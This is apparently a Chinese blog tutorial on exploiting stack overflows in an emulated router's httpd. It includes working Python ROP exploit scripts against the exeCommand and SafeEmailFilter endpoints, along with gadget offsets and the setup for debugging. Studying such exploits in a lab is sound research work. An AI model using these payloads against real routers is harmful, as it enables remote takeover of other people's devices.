基于静态分析的路由器固件二进制漏洞RCE技术经验分享
本篇文章主要是记录自己在路由器二进制漏洞挖掘过程中的进步,以及经验的分享,属于我自己个人的第二阶段,就是打出rce。
前言:
本篇文章主要是记录自己在路由器二进制漏洞挖掘过程中的进步,在此之前曾经发布过第一篇文章,这篇是记录拒绝服务的。
[原创]基于静态分析的路由器固件二进制漏洞挖掘经验分享-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
从打出拒绝服务到稳定打出rce大概花了半个月左右的时间,也是自己成功交了几个rce的漏洞,本篇文章主要记录了常用rce的技术以及在rce的过程中每一处细节和出现的一些问题,分为分析前人漏洞,分析自己遇到的有价值的漏洞,平时遇到的一些问题以及总结与对下一阶段的规划进行叙述。
第一步,吸取前人经验:推荐一个篇文章,然后复现一个简单的漏洞
推荐大家看一下吾爱破解上的一篇文章,很出名的cve-2018-5767
https://www.52pojie.cn/thread-1674625-1-1.html
但是由于这个漏洞有人很详细的讲述了,并且不适合新手学习,下面我在相同固件上找到了另一个栈溢出漏洞,这个漏洞也有人交过了,但是我以自己的方式给大家打一遍,梳理一下流程,这个漏洞涵盖了最基础的rce攻击方式,作为本篇文章的基础进行讲解。
挖漏洞前的准备工作
binwalk的安装我就不另外赘述了,但是下面要安装一个非常重要的东西:
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*这条指令的主要作用是安装 qemu-user-static 工具以及 ARM 架构的 GNU C 库及其开发包,从而让你能够在 x86 架构的主机上运行和开发 ARM 架构的程序,qemu我就不另外说明了,但是如果不安装arm的libc库,那么在进行gdb调试时会出现输入continue命令后程序直接退出的情况。
下一步就是使用binwalk解包,解包后,我们进入文件夹
这里有个细节,我们会发现我们binwalk解压后的文件是锁上的,我们进入这个文件夹后,运行命令
chmod -R 777 ./这样子可以给这个文件夹加上写的权限,方便我们待会进行httpd的替换,如果命令运行成功了,文件夹上的锁就会消失。
里面有个叫squashfs-root的文件夹,打开文件夹后就是我们工作的目录,我们漏洞挖掘的对象是bin文件夹中的httpd文件,所以我们需要去对该文件进行分析,但是我们先进行路由器的仿真
接着我们尝试仿真,首先建立虚拟网桥
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens32
sudo ifconfig br0 up
sudo dhclient br0然后将qemu-arm-static复制到当前目录,并且启动qemu仿真
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/httpd这个时候猜测是httpd文件出了问题,我们把这个文件拖到windows桌面,打开IDA进行分析。
我们看到开始运行后有个WeLoveLinux的字符串,我们(shift+F12)搜索这个字符串:
点击字符串进入它的内存页面
然后看看哪个地方调用了这个字符串,查看交叉引用
进入这个调用的函数,F5反汇编后
发现这里面有一个死循环以及一个判断语句
而我们看到if语句的else块中正好有connect cfm failed!的字符串,而且
我们需要把这个地方patch掉,首先第一个地方
可以看到第一个循环在这里,我们希望能够让这个循环永远不执行
发现这里有个MOV R3,R0,然后跳转的条件是BGT,也就是
而BGT的意思,GPT 的解释是
我们这里是希望它跳转的,所以需要让这个BGT 成为百分百跳转的语句,一个方法很简单,就是把MOV R3,R0修改成为MOV R3,#1,这样就可以使得我们的while循环永远不会执行。
我们这边直接去对汇编语言进行修改(尽量不让小白去乱安装插件),而且汇编的修改方式也特别简单。
点击要修改的语句,然后找到如图所示的这个地方,点击进入。
然后具体修改方式如下:首先看到E1,在ARM机器码中E1代表寄存器,而我们要改成立即数,那么就是E3,而第一位00则是第0号的意思,我们需要的是第一号立即数也就是1,那么就把第一位改成1,这样我们就完成了patch的任务了。
这样,1永远大于0,所以每次启动的时候BGT都一定会跳转。
包括if语句哪个地方也是一样的patch方式
这个时候我们再看F5的结果
我们发现循环和if语句都没了,这个时候就完成了patch。
然后我们需要保存patch结果
直接按照上图点击相应位置,直接保存在当前文件就行
下方output出现这个信息就说明patch成功
最后我们去虚拟机上替换我们的httpd文件,然后运行 ,发现还是有问题
没有执行权限,这个对于大家应该都很简单,但是本着对新手友好的理念,这边还是说一下,直接执行命令
chmod +x ./bin/httpd就可以了
然后再运行
发现成功了。
这个时候漏洞的准备工作就做好啦。
下面进行漏洞复现和调试
漏洞的复现和调试(这个漏洞我这边用的是栈溢出的方式打出来的,我记得是不是还有别的方式)
漏洞证明
首先看到我们的漏洞点,位于formexeCommand函数
src接受了httpPOST请求的cmdinput参数,然后把src这个变量里的值copy给了栈上的s变量,导致栈溢出。
下面编写验证脚本,我们向cmdinput参数传递1000个a,在用户级模拟下对路由器仿真,然后发送脚本看看效果。
import requests
url = "http://192.168.100.166/goform/exeCommand"
payload = {
'cmdinput':b'a'*1000
}
res = requests.post(url=url,data=payload)运行脚本,发现路由器死机,并且网站也无法访问,知道出现了栈溢出。
这里报了段错误,segmentation fault,这一步的目的是证明这里有漏洞,下面对漏洞进行利用,这个时候这个漏洞的价值就是中危,其实也就相当于没啥价值
漏洞利用
下面我们对这个栈溢出进行利用,打出rce。
首先我们需要做的就是计算缓冲区离栈底的位置,这边我们使用pwn中的一个技巧,就是利用pwntools里面的cyclic去进行计算,利用cyclic生成1000个字符。
然后把生成的字符复制到我们的payload里面
接下来我们就需要进行调试啦,调试所用的工具就是gdb-multiarch ,这个可以调试arm架构的程序,当然mips也是可以的。
然后我们在启动qemu的时候多加一个-g参数,设置端口
然后我们回车后,终端就会卡在那里,这就说明我们成功了
然后启动gdb-multiarch,后面跟上httpd的地址
回车后看到这个界面就对了
然后我们直接输入target remote : 9999,回车后会出现以下界面
这就说明我们成功了。
然后我们需要在formexeCommand函数结束的地方下一个断点,找到函数结束的地方
这里会有一个end of的标识,然后复制这里的地址,在gdb里下断点
成功断下来后,输入c,continue
这个时候你会发现qemu也开始运行。然后gdb卡在了continuing,这是正确的。
接着就发送你填充了cyclic 1000的payload。
然后python的脚本会卡在这边,并且程序成功在formexeCommand函数结束的地方断了下来。
然后接下来我们要看返回地址被填充成了什么,首先我们需要知道的就是返回地址究竟是存在哪里的。
我们输入ni继续往下执行一步,可以看到pc寄存器变成了xaah,这里就可以知道我们的返回地址在xaah这个地方
发现cyclic中xaah的值是792,也就是说我们需要填充792个字节,但是还需要再加上4个字节,因为有四字节的栈帧,也就是填充796的字节数。
其实这里有个小技巧,就是可以直接看到r11寄存器那里,r11寄存器里面存的是yaah,放到cyclic里面看一下就知道这个字符串正好是796。这个并不是个例,而是我目前为止看到的大部分路由器都是这样的。
我们填充后就开始构造ROP去进行利用,我们需要找两个语句,一个是用于控制r0的,一个是pop到r3的。r0和r3主要是用于传递函数参数,也就是我们所需要的system函数的参数的,请出万能的GPT老师
首先我们找关于r0的
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"可以看到有一堆,我们找一个比较短的,可以看到0x00040cb8这条语句很符合
接下来找pop r3的
ROPgadget --binary ./lib/libc.so.0 --only "pop"|grep r3可以看到0x00018298这个地方的这条语句特别符合我们的需求。
接下来有了这两条指令的地址,还是不够,我们需要去找到libc的基地址才行,这个也很简单,我们让程序在formexeCommand函数的开头断下来,我这边是在开头后执行的几条语句内断下来,这样可以避免函数没有成功在断点处停止。我们需要打开gdb进行调试,这个和上面讲过的一样,不过多赘述
我们选择在这边断下来
在gdb内下断点后执行
然后发送我们的payload,函数成功在断点处中断
下面使用vmmap查看内存
可以看到libc的基地址就是0xf65e5000
现在有了基地址后就可以找到libc库中的函数的地址以及操控r0和r3的两条语句了。
import requests
from pwn import *
libc=ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
base=0xf65e5000
system_addr = base + system_offset
cmd = b"Hello,world\x00"
puts = base+libc.sym['puts']
move_r0=base+0x00040cb8
r3_pop=base+0x00018298
url = "http://192.168.100.166/goform/exeCommand"
payload = {
'cmdinput':b'a'*796+p32(r3_pop)+p32(puts)+p32(move_r0)+cmd
}
res = requests.post(url=url,data=payload)
这里我们程序的行为是调用puts函数打印了一个字符串,这里栈为何这么排布,以及pwntools咋去用可以去查资料,属于pwn的基础内容,不过多赘述。
效果
下面看一下成功的效果,发送payload
程序退出,并且打印了一个helloworld的字符串,利用成功。
能用puts就能用别的函数。
但是这里有一点就是,如果想使用反弹shell的方式,这个可能在用户级模拟上比较难,因为qemu用户级仿真会找不到/bin/sh,各位师傅可以私下研究一下。
一个特殊的rce漏洞
漏洞的分析:
这个rce漏洞是我自己挖的,但是是一个比较特殊的漏洞,这个漏洞并不属于栈溢出,因为在rce的点甚至没有溢出缓冲区,下面跟着我进行分析,有一些重复的步骤比如仿真之类的就不提了。
首先我们看一下漏洞点
漏洞点在13和14行
import requests
url = "http://192.168.100.166/goform/SafeEmailFilter"
payload = {
'page':b'a'*500
}
res = requests.post(url=url,data=payload)首先验证payload可行。
用cyclic 500填充,然后开启gdb仿真,并且在函数末尾加断点,continue后发送payload,这个和上面一样的,不过多赘述。
发送payload后,
程序在这边发生了错误,我们搜一下ldrb是什么
GPT说的是8位,但是我们是32位的arm架构,所以加载的是四位的内存,但是无论如何都一定要是内存,而r3和r1都不是地址,我们发现这两个寄存器里都是字符串
是cjaa,我们就需要把这里填充成真正的地址
发现需要填充235的字节后,填充一个地址,再填充后面的字节。
我们这边随便找一个地址,就以整个程序开头的地址,也就是打印welovelinux那个程序的地址为准(因为这是一个合格的地址,而且如果真的执行成功可以看见程序多打印了一个welovelinux)
而地址就是0x0064920,第二次测试代码如下,然后继续按照原有的步骤进行调试分析
import requests
from pwn import *
addr=0x0064920
url = "http://192.168.100.166/goform/SafeEmailFilter"
payload = {
'page':b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaa'+p32(addr)
}
res = requests.post(url=url,data=payload)可以看到这一次程序直接报了栈溢出错误
而且发现PC寄存器被一些奇怪的字符串填充了,其实这里就是可以操控程序执行流的地方,而且这个字符串是残缺的,第一个字符被隐去了,按照别的师傅说,这是因为arm模式与thumb模式的切换问题。所以我们最后一个位置只能靠猜了
但是我们发现sp寄存器的值是bbaa,我们放在cyclic里面,发现是103
然后我们就开始猜第一个字符,从a开始
可以发现,azaa与bbaa隔得最近,我们就先尝试99,修改payload
import requests
from pwn import *
addr=0x0064920
url = "http://192.168.100.166/goform/SafeEmailFilter"
payload = {
'page':b'b'*99+p32(addr)
}
res = requests.post(url=url,data=payload)仿真路由器,运行脚本,我们发现精彩的一目出现了
成功二次打印WeLoveLinux,证明这个地方是存在一个跳转漏洞的,但是这个应该不属于栈溢出,因为可以看到我的缓冲区有256字节,但是我填充了99字节就打出了rce,下面对漏洞进行利用,利用脚本的编写和之前一样,就跳过了,payload如下
import requests
from pwn import *
addr=0x0064920
libc=ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
base=0xf6636000
system_addr = base + system_offset
cmd = b"RCERCERCE\x00"
puts = base+libc.sym['puts']
move_r0=base+0x00040cb8
r3_pop=base+0x00018298
url = "http://192.168.100.166/goform/SafeEmailFilter"
payload = {
'op':b'add',
'page':b'a'*99+p32(r3_pop)+p32(puts)+p32(move_r0)+cmd
}
res = requests.post(url=url,data=payload)运行后效果如下:
可以看到打印了一串RCERCERCE
成功执行命令。
反思
我们再漏洞攻击的时候,一定要时刻关注程序的执行流,我们要精确控制程序的执行流,这个就需要我们细心地一个个去进行拆分,对整个程序的行为进行拆分,而且在进行分析时胆子要打,抱着“搞一下就知道”的心态去打漏洞,这样子才能有所提升。
平时出现的一些问题
IDA出现返回地址不能正确显示的问题
很多小伙伴在进行动态调试的时候进程喜欢利用IDA,因为在打出栈溢出的时候IDA可以显示出现问题的地址(也就是cyclic对应的字符串),从而算出缓冲区实际大小
但是有的时候会出现这种
就是明明溢出了,但是就是没有显示出字符串。
这个问题的原因是,其实程序的执行流根本没有在漏洞点的函数里返回,而是被别的函数干扰了,就和我的第二个例子一样,真正造成程序崩溃的点不在返回地址的溢出上,而是某个语句加载了错误的地址,这个时候做法可以参照第二个例子去做。
gdb发送payload脚本后就中断的情况
发送脚本后,并没有显示堆栈信息,而是中断,这可能是因为你没有下载arm的libc库或者mips的libc库,回到文章开头有解决这个问题,或者也有可能是gdb的架构没有设置正确,只需要把gdb的架构正确设置即可。
总结与规划
本篇文章还是比较长的,说了这么多总结一下,可以说这段时间研究rce给我的感受最大的就是要细心,缓冲区离栈底的距离,各种libc基地址的计算,rop语句的查找都要非常细心地去找。
对下一阶段的规划是:
- 重点补一下IOT的基础,并且眼光不仅仅放在路由器,可以去尝试别的设备
- 研究堆漏洞的利用。
大佬能否提供下这个固件,这个固件现在找不到了,可有偿,VX artist-lhf